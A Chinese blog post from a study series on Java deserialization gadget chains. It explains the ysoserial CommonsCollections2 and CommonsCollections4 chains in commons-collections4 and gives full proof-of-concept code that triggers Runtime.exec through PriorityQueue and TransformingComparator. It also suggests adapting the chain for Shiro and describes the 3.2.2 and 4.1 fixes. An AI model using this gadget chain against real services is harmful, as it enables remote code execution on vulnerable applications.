反序列化Gadget学习篇七 CommonCollections2/4与漏洞修复

背景:

Apache Commons Collections是一个著名的辅助开发库,包含了一些Java中没有的数据结构和和辅助方法,不过随着Java 9以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。
在2015年底commons-collections反序列化利用链被提出时,Apache Commons Collections有以下两个分支版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

可⻅,groupId和artifactId都变了。前者是Commons Collections老的版本包,当时版本号是3.2.1;后者是官方在2013年推出的4版本,当时版本号是4.0。那么为什么会分成两个不同的分支呢?
官方认为旧的commons-collections有一些架构和API设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4不再认为是一个用来替换commons-collections的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。
依赖的区别:

<dependencies>
    <!-- https://mvnrepository.com/artifact/commons-collections/commons-
collections -->
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-
collections4 -->
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

3.2.1中存在反序列化利用链在4.0版本仍然可以利用,只需要进行一点改动:
LazyMap.decorate改为LazyMap.lazyMap即可

CommonCollections4版本的新链

commons-collections这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上原因是其中包含了一些可以执行任意方法的Transformer。所以,在commons-collections中找Gadget的过程,实际上可以简化为,找一条从Serializable#readObject()方法到Transformer#transform()方法的调用链。

4版本有yso里有两个新链,CommonCollections2和CommonCollections4;

CommonCollection2

关键类:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

java.util.PriorityQueue是一个有自己readObject()方法的类:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

org.apache.commons.collections4.comparators.TransformingComparator里调用了transform()方法

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

连接起来的调用顺序:
PriorityQueue#readObject()中调用了heapify()方 法,heapify()中调用了 siftDown()siftDown()中调用了siftDownUsingComparator()siftDownUsingComparator()中调用的comparator.compare(),于是就连接到上面的TransformingComparator了。流程比较简单。

关于PriorityQueue

  • java.util.PriorityQueue 是一个优先队列(Queue),基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树
  • 反序列化时为什么需要调用 heapify() 方法?为了反序列化后,需要恢复(换言之,保证)这个结构的顺序
  • 排序是靠将大的元素下移实现的。siftDown()是将节点下移的函数, 而comparator.compare()用来比较两个元素大小
  • TransformingComparator实现了java.util.Comparator接口,这个接口用于定义两个对象如何进行比较。siftDownUsingComparator()中就使用这个接口的compare()方法比较树的节点。

构造Gadgets

  1. 准备Transform数组
    Transformer transformer[] = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
    
  2. 准备Comparator
    Transformer transformerChain = new ChainedTransformer(faketanformer);
    Comparator comparator = new TransformingComparator(transformerChain);
    
  3. 初始化PriorityQueue,transform是在compare触发,至少有两个元素才会触发比较
    PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
    priorityQueue.add(1);
    priorityQueue.add(2);
    

完整代码:

package changez.sec.CC2;


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;


public class CommonCollections2 {


    public static void main(String[] args) throws Exception{
        Transformer transformer[] = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer faketanformer[] = new Transformer[]{
                new ConstantTransformer(1)
        };

        Transformer transformerChain = new ChainedTransformer(faketanformer);

        Comparator comparator = new TransformingComparator(transformerChain);

        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Field f = transformerChain.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformer);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(priorityQueue);
        oos.close();

        System.out.println(bos);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        Object o = ois.readObject();
    }
}

有了前面的经验,我们可以改造这个poc,比如使用TemplatesImpl,去掉数组的限制,让其在shiro中可用。

CommonCollection4

ysoserial中CommonCollection4实际上是上面CC2与前面说过的CC3的一个结合:

前一段和CC2一样,通过PriorityQueue的compare方法触发transform,transform部分和CC3相同,执行TrAXFilter的构造方法,最终加载构造好的恶意TemplatesImpl。

修复

Apache Commons Collections官方在2015年底得知序列化相关的问题后,就在两个分支上同时发布了新的版本,4.1和3.2.2。
在3.2.2上,新版本增加了一个方法FunctorUtils#checkUnsafeSerialization用来检测徐俩号是否安全。
这个检查在常⻅的危险Transformer类(InstantiateTransformerInvokerTransformerPrototypeFactoryCloneTransformer 等)的 readObject 里进行调用,所以,当我们反序列化包含这些对象时就会抛出一个异常:

Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.

在4.1里,这几个危险Transformer类不再实现 Serializable 接口,也就是说,这几个彻底无法序列化和反序列化了。

posted @ 2021-08-27 15:10  ChanGeZ  阅读(1325)  评论(0编辑  收藏  举报